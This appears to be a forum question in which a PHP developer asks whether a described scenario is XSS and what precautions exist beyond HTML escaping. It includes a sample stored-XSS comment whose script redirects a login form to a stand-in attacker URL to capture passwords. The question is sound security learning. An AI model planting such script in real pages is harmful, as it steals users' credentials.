I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
- SQL Injection
- XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
- Page full of user-made content has a login form at the top (site-wide).
- The user's input to the page is not HTML-escaped.
- A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- An innocent user comes to the page, the script executes.
- The innocent user realises they're not logged in, and enter their details into the form.
- The user's details are sent off to
http://somehackysite.com/givemyourpw.php
and then the user's account details are stolen.
So I really have three questions here:
- Would this work?
- Is this XSS?
- Are there any precautions developers should take against XSS other than escaping HTML?